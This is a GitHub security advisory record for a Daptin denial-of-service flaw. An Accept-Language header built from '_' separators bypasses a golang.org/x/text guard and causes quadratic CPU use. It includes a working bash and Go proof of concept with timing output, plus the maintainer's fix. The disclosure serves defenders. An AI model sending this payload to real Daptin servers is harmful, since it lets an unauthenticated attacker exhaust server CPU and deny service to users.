{"id":"GHSA-rhj7-vh3v-mcq6","summary":"Daptin: ParseAcceptLanguage `_` separator bypass enables \u003e250x CPU amplification via Accept-Language header in LanguageMiddleware","details":"### Summary\n\nDaptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.\n\n### Affected versions\n\n`github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below)\n- `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.\n\n### Vulnerable code\n\n[`server/language.go`](https://github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go) (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`):\n\n```go\nfunc (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {\n    pref := GetLanguagePreference(c.GetHeader(\"Accept-Language\"), lm.defaultLanguage)\n    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), \"language_preference\", pref))\n}\n\nfunc GetLanguagePreference(header string, defaultLanguage string) []string {\n    preferredLanguage := header\n\n    if preferredLanguage == \"\" || preferredLanguage == \"undefined\" || preferredLanguage == \"null\" {\n        preferredLanguage = defaultLanguage\n    }\n\n    languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)\n    resource.CheckErr(err, \"Failed to parse Accept-Language header [%v]\", preferredLanguage)\n    pref := make([]string, 0)\n    prefMap := make(map[string]bool)\n\n    if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {\n        // single tag matches default — skip\n    } else {\n        for _, tag := range languageTags {\n            base, conf := tag.Base()\n            if conf == 0 {\n                continue\n            }\n            if prefMap[base.String()] == true {\n                continue\n            }\n            prefMap[base.String()] = true\n            pref = append(pref, base.String())\n        }\n    }\n    return pref\n}\n```\n\n`c.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `LanguageMiddlewareFunc`.\n2. `c.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `GetLanguagePreference(header, defaultLanguage)` is called.\n4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`.\n\nNo size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:\n\n```bash\n# Build daptin image (uses prebuilt linux/amd64 release binary)\ncd daptin\ncurl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64\nchmod +x daptin-linux-amd64\ndocker build --platform linux/amd64 -t daptin-poc:v0.12.15 .\n\n# Start it\ndocker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15\nsleep 8  # wait for sqlite migrations + Olric ring\n\n# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling\n# because daptin's per-request cost saturates well below 1 MiB)\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 25600, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w 'http=%{http_code} t=%{time_total}\\n' \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18888/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner's `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `daptin-linux-amd64` v0.12.15)\n\nA Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18888/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := &http.Client{\n        Timeout: 120 * time.Second,\n        Transport: &http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires ('-' x 256KiB)\", buildPayload(\"-\", 256*1024))\n    send(\"attack ('_' x 256KiB)\",     buildPayload(\"_\", 256*1024))\n    send(\"attack repeat 2\",            buildPayload(\"_\", 256*1024))\n    send(\"attack repeat 3\",            buildPayload(\"_\", 256*1024))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\ndaptin/daptin v0.12.15 LanguageMiddleware at\nserver/language.go.\n\nTarget: http://127.0.0.1:18888/   payload=262144 B\n\n  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=19.968ms\n\n--- measurements (single request each) ---\n  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=25.924208ms\n  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=28.398333ms\n  guard-fires control ('-' x 256KiB)           header=262142 B  '_'=0  '-'=26214  status=200  t=105.506458ms\n  attack ('_' x 256KiB)                        header=262142 B  '_'=26214  '-'=0  status=200  t=26.679448875s\n  attack repeat 2                              header=262142 B  '_'=26214  '-'=0  status=200  t=18.012964208s\n  attack repeat 3                              header=262142 B  '_'=26214  '-'=0  status=200  t=8.868606042s\n```\n\nA separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 26 - 28 ms  |\n| 256 KiB `-` separators (CVE-2022-32149 guard fires) | 256 KiB | 106 ms      |\n| 256 KiB `_` separators (guard bypassed)  | 256 KiB      | 9 - 27 s    |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | \u003e 120 s     |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB `-` payload returns in 106 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and \u003e1000x on a 1 MiB payload.\n\nThe amplification is higher than other consumers of `ParseAcceptLanguage` because Daptin formats the entire input into a log line via `resource.CheckErr(err, \"Failed to parse Accept-Language header [%v]\", preferredLanguage)` when parsing fails, and runs additional bookkeeping in `GetLanguagePreference` (a `prefMap` deduplication loop over the resulting tag slice).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.\n- A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.\n- A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n\n### Suggested fix\n\nApply the size / character-class filter inside `LanguageMiddleware` (and inside `GetLanguagePreference` for defence in depth) before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// server/language.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {\n    header := c.GetHeader(\"Accept-Language\")\n    if strings.Count(header, \"-\")+strings.Count(header, \"_\") \u003e maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        header = \"\"\n    }\n    pref := GetLanguagePreference(header, lm.defaultLanguage)\n    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), \"language_preference\", pref))\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1\n\n### Maintainer fix status\n\nFixed on `master` in commit `2d709509 Harden Accept-Language parsing`.\n\nThe fix caps combined `-` and `_` separators in `Accept-Language` before calling `language.ParseAcceptLanguage`, both in `LanguageMiddlewareFunc` and in `GetLanguagePreference` for defence in depth. Regression coverage was added in `server/language_test.go` for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.\n\nVerification run:\n\n```bash\ngo test ./server -count=1\n```\n\nResult: passed.","aliases":["CVE-2026-62160"],"modified":"2026-10-29T16:45:05.329254013Z","published":"2026-10-29T16:33:09Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-29T16:33:09Z","nvd_published_at":null,"cwe_ids":["CWE-400"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/daptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6"},{"type":"PACKAGE","url":"https://github.com/daptin/daptin"}],"affected":[{"package":{"name":"github.com/daptin/daptin","ecosystem":"Go","purl":"pkg:golang/github.com/daptin/daptin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.12.15"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rhj7-vh3v-mcq6/GHSA-rhj7-vh3v-mcq6.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}